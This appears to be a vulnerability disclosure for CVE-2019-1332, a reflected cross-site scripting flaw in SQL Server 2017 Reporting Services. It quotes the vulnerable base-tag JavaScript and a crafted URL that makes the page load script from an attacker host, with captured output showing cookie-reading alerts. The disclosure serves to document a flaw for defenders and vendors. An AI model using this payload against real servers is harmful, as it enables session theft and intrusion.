

Microsoft SQL Server Reporting Services Disclosures

Version 2017

Environment:

- Microsoft SSRS 2017

```
"BRANDS": {  
  "PRODUCT_NAME_SSRS": "SQL Server 2017 Reporting Services",  
  "PRODUCT_NAME_PBIRS": "Power BI Report Server",  
  "TRAIN_NAME_SSRS": "(October 2017)",  
  "TRAIN_NAME_PBIRS": "(August 2017 Preview)",  
  "REPORT_BUILDER": "Report Builder",  
  "MOBILE_REPORT_PUBLISHER": "Mobile Report Publisher",  
  "MOBILE_POWER_BI": "Power BI Mobile",  
  "DESKTOP_POWER_BI": "Power BI Desktop",  
  "EXCEL_ONLINE": "Excel Online"  
},
```

Findings:


1. CVE-2019-1332: Reflected Cross-Site Scripting

Description:

Microsoft SSRS 2017 suffers from a Reflected XSS vulnerability due to the improper sanitization of the URL which is used to generate a "<base>" HTML tag. Via a crafted URL, an attacker can force the "<base>" tag to point to any attacker controlled domain/IP hosting a malicious payload. The victim accessing the specially crafted URL will execute JavaScript, CSS and request Picture files controlled by the attacker.

Proof of Concept:

First we will need to identify a valid HTML page that uses the vulnerable JS code that generates a dynamic "<base>" element (e.g. "http://<DOMAIN>/rapoarte/browse"):



The vulnerable JavaScript code snippet is the following:

```
// 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)';
if (navigator.userAgent.indexOf('MSIE ') > 0 && !window.location.origin) {
    window.location.origin = window.location.protocol + "://" +
window.location.hostname + (window.location.port ? ':' + window.location.port : '');
}
var locName = window.location.pathname.split('/')[1];
document.write("<base href='/" + locName + "/" />");
```

In order to leverage the vulnerability we will craft a malicious URL such as the following:

```
http://<DOMAIN>/&sol;mal.hexor:4444&sol;%2f..%2frapearte%2fbrowse%2f''
```

- `/` == HTML character entity reference¹ of “/”
- `mal.hexor:4444` == attacker’s domain (mal.hexor) and port (4444)
- `%2f..%2f` == path traversal used to bypass the HTTP 404 response by “pointing back” to a valid page
- `rapearte%2fbrowse%2f` == valid page containing vulnerable JS
- Note: `%2f` (URL encoding of “/”) is used in order to not trigger browser processing of the URL as well as the JavaScript “split(‘/’)” which would end the payload prematurely

If performed correctly, the following malicious HTML elements will be reflected in the resulting page:

```
***TRUNCATED***
<base href="/&sol;mal.hexor:4444/&sol;%2f..%2frapearte%2fbrowse%2f" '="">
***TRUNCATED***
<script src="assets/js/oauth.js"></script>
***TRUNCATED***
```

As a result, when the page is loaded, the browser will make a request for the “oauth.js” file at: “http://mal.hexor:4444/assets/js/oauth.js”

Note: In this example “mal.hexor” points to localhost (127.0.0.1).

¹ https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references

Resulting XSS:

Transferring data from mal.hexor...

hexor

OK

8 requests 17.43 KB / 0.98 KB transferred Finish: 6.41 s

Response payload

```
1 alert("hexor")
2 alert(document.cookie)
3 alert(document.location)
4
```

al_user=MO T09:01:09.705Z; 965B7

al_authUser=6225F

☐ Prevent this page from creating additional dialogs

OK

8 requests 17.43 KB / 0.98 KB transferred Finish: 6.41 s

Response payload

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1 alert("hexor")
2 alert(document.cookie)
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4
```